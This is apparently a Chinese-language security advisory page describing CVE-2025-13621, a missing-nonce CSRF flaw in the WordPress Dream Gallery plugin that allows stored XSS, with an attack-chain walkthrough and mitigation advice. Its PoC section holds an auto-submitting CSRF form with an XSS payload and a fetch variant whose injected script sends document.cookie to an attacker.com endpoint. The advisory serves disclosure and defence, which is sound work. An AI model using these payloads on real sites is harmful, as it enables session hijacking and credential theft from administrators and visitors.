IPBUF安全漏洞报告
English
CVE-2025-13621 CVSS 6.1 中危

CVE-2025-13621 WordPress Dream Gallery插件CSRF漏洞可导致XSS

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-13621
漏洞类型
CSRF跨站请求伪造 / 存储型XSS跨站脚本攻击
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
WordPress Dream Gallery插件

相关标签

CSRF跨站请求伪造XSS存储型XSSWordPress插件漏洞Dream GalleryCVE-2025-13621AJAX安全nonce验证缺失

漏洞概述

WordPress Dream Gallery插件是一款用于在WordPress网站上创建和管理图片画廊的插件。该插件在1.0及之前的所有版本中存在严重的跨站请求伪造(CSRF)漏洞。漏洞根源在于插件的AJAX处理程序'dreampluginsmain'缺少正确的nonce令牌验证机制。由于缺少这一关键的安全检查,攻击者可以构造恶意请求,诱骗已登录的网站管理员在不知情的情况下执行操作。成功利用此漏洞后,攻击者能够修改插件设置并注入恶意JavaScript代码。由于这些恶意脚本被存储在数据库中并在后续页面访问时执行,因此构成了存储型跨站脚本攻击(XSS)。任何访问受感染页面的用户都会受到恶意脚本的影响,可能导致会话劫持、凭据窃取、重定向到恶意网站等严重后果。

技术细节

漏洞存在于WordPress Dream Gallery插件的dreamgallery.php文件第254行和第257行,以及front.php模板文件第38行附近。该插件在处理'dreampluginsmain'这个AJAX动作时,未对请求发起者进行有效的nonce验证。在WordPress插件开发中,wp_verify_nonce()函数用于验证请求的合法性,防止CSRF攻击。然而该插件的AJAX处理器直接处理请求而未调用此验证函数。攻击者可以构造一个HTML页面,包含自动提交的表单或JavaScript代码,向目标网站的wp-admin/admin-ajax.php端点发送POST请求。由于浏览器的同源策略,当管理员访问攻击者精心构造的页面时,浏览器会自动携带管理员的认证Cookie发送请求。服务器收到请求后,由于缺少nonce验证,直接执行了状态变更操作(如更新插件设置)。攻击者可以在设置值中嵌入<script>标签或事件处理器属性(如onerror、onload等),当其他用户访问包含画廊的页面时,这些恶意脚本会被执行。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者首先识别目标网站是否使用WordPress以及是否安装了Dream Gallery插件(版本<=1.0)。攻击者可以通过自动化扫描工具或手动访问网站来确认。
STEP 2
步骤2: 构造恶意页面
攻击者创建一个包含CSRF payload的恶意HTML页面。该页面包含一个自动提交的表单或JavaScript代码,向目标网站的AJAX端点发送POST请求,尝试修改插件设置。
STEP 3
步骤3: 社会工程攻击
攻击者通过钓鱼邮件、社交媒体消息或其他渠道,诱骗网站管理员访问恶意页面。由于浏览器会自动携带管理员的认证Cookie发送同源请求,攻击者无需获取凭据。
STEP 4
步骤4: 利用CSRF漏洞
当管理员浏览器向wp-admin/admin-ajax.php发送请求时,由于插件未验证nonce令牌,请求被服务器接受并执行。恶意设置值被写入数据库。
STEP 5
步骤5: XSS触发
当任何用户访问包含Dream Gallery的页面时,存储在数据库中的恶意JavaScript代码被加载并执行,可能窃取用户会话Cookie、凭据或进行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-13621 - Dream Gallery Plugin --> <!-- This PoC demonstrates how an attacker can inject malicious JavaScript via CSRF --> <!DOCTYPE html> <html> <head> <title>Dream Gallery CSRF Exploit - CVE-2025-13621</title> </head> <body> <h1>Dream Gallery CSRF Exploit - CVE-2025-13621</h1> <p>This PoC exploits the missing nonce validation in Dream Gallery plugin.</p> <form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="exploitForm"> <input type="hidden" name="action" value="dreampluginsmain"> <!-- Modify these parameters to inject malicious content --> <input type="hidden" name="setting_name" value="gallery_title"> <input type="hidden" name="setting_value" value="<img src=x onerror='alert(document.cookie)'>'> <input type="hidden" name="dreamgallery_nonce" value="any_value"> </form> <script> // Auto-submit the form when page loads document.getElementById('exploitForm').submit(); </script> <p>If you see this text, the form has been submitted.</p> </body> </html> <!-- Alternative: JavaScript-based fetch PoC --> <script> fetch('http://target-site.com/wp-admin/admin-ajax.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: new URLSearchParams({ 'action': 'dreampluginsmain', 'setting_name': 'gallery_title', 'setting_value': '<script>fetch("https://attacker.com/steal?c="+encodeURIComponent(document.cookie))</script>', }) }); </script>

影响范围

Dream Gallery plugin <= 1.0 (WordPress)

防御指南

临时缓解措施
立即禁用Dream Gallery插件直到官方发布安全更新。如果无法禁用,应在服务器层面配置Content-Security-Policy(CSP)响应头以限制脚本执行,并启用WordPress的REST API访问限制。同时对管理员进行安全意识培训,提醒不要点击未知链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表